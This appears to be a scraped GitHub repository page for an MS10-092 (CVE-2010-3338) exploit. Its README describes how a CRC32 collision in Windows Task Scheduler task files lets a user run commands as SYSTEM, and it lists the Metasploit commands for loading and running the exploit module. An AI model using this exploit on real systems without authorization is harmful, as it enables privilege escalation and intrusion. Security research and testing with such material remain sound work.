Switch branches/tags
Nothing to show
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
..
Failed to load latest commit information.
Enviroment MS10-092 Apr 23, 2017
CVE-2010-3338.wsf MS10-092 Apr 23, 2017
MS10-092.rb MS10-092 Apr 23, 2017
README.md MS10-092 Apr 23, 2017

README.md

MS10-092

  • Windows Task Scheduler Privilege Escalation
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. 
Also, In a default configuration, normal users can read and write the task files that they have created. 
By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
NOTE: Thanks to webDEViL for the information about disable/enable.

Vulnerability reference:

Usage

MS10-092-YouTube

load the module within the Metasploit

msf

msf > use exploit/windows/local/ms10_092_schelevator
msf exploit(ms10_092_schelevator) > show targets
    ...targets...
msf exploit(ms10_092_schelevator) > set TARGET <target-id>
msf exploit(ms10_092_schelevator) > show options
    ...show and set options...
msf exploit(ms10_092_schelevator) > exploit